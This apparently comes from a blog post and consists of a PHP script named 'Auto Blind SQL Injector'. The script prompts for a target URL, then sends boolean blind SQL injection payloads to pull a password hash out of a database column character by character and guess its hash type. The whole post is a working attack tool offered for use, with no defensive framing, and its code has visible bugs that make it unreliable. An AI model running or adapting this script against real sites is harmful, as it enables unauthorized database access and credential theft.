Auto Blind SQL Injector [PHP]

<?php


echo "\r\n";echo "\r\t\r\t##\r\n";echo "\r\t\r\t# Auto Blind SQL injector #\r\n";echo "\r\t\r\t# By The Jally.salt #\r\n";echo "\r\t\r\t##\r\n";


echo "\r\nURL target :";$page = trim(fgets(STDIN));//Wait a string and valid url before continue


if(filter_var($page, FILTER_VALIDATE_URL) !== true)//Test if var $page is correct URL{echo "You entered an incorrect URL the program going to shut down automatically.";exit;}


echo "\r\nDisplayed word :";$pattern = trim(fgets(STDIN));//Wait a string before continue


echo "\r\nColumn target :";$column = trim(fgets(STDIN));//Wait a string before continue


$lenght_max = 98;


echo "\r\n[+]Retrieving password's length...\r\n";


for($i=0;$i<=$lenght_max;$i++){$page2 = file_get_contents($page.urlencode("\" and length($column)=$i-- -"));


if(preg_match("#$pattern#",$page2)){$lenght = $i;echo "\r\nThe password's length is $lenght.\r\n";break;}}


$final_pass = "";


$char_min = 20;$char_max = 140;


$char = $char_min;$x = 1;


echo "\r\n[+]Retrieving password's hash...\r\n";


echo "\r\nFinal password is : ";


while($x <= $lenght){$page3 = file_get_contents($page.urlencode("\" and lower(substring($column,$x,1)=char($char))-- -"));if(preg_match("#$pattern#", $page3)){$final_pass.= strtolower(chr($char));echo strtolower(chr($char));$x ++;$char = $char_min;}$char++;}


$lenght_pass = $lenght;


echo "\r\n\r\n[+]Retrieving hash type...\r\n";


if($lenght_pass == 40){$type = "sha1";}elseif ($lenght_pass == 32){$type = "md5";}elseif ($lenght_pass == 13) {


$type = "DES(Unix)";}elseif (preg_match("#\\$1\\$#",$final_pass) AND $lenght_pass == 34) {


$type = "MD5(Unix)";}elseif (preg_match("#\\\$apr1\\$#",$final_pass) AND $lenght_pass == 37) {


$type = "MD5(APR)";}elseif (preg_match("#\\\$h\\$#",$final_pass) AND $lenght_pass == 34) {


$type = "MD5(phpBB3)";}elseif (preg_match("#\\\$p\\$#",$final_pass) AND $lenght_pass == 34) {


$type = "MD5(Wordpress)";}


elseif ($lenght_pass == 16) {


$type = "MySQL";}elseif (preg_match("#\\\*#", $final_pass) AND $lenght_pass == 41) {


$type = "MySQL5";$final_pass = strtoupper($final_pass);}elseif (preg_match("#\\$5\\$#", $final_pass) AND $lenght_pass == 55) {


$type = "SHA-256(Unix)";}elseif(preg_match("#\\$6\\$#", $final_pass) AND $lenght_pass == 98){$type = "SHA-512(Unix)";}


echo "\r\nHash type for $final_pass is ".$type.".\r\n";


?>[php]
Previous
Next Post »
Thanks for your comment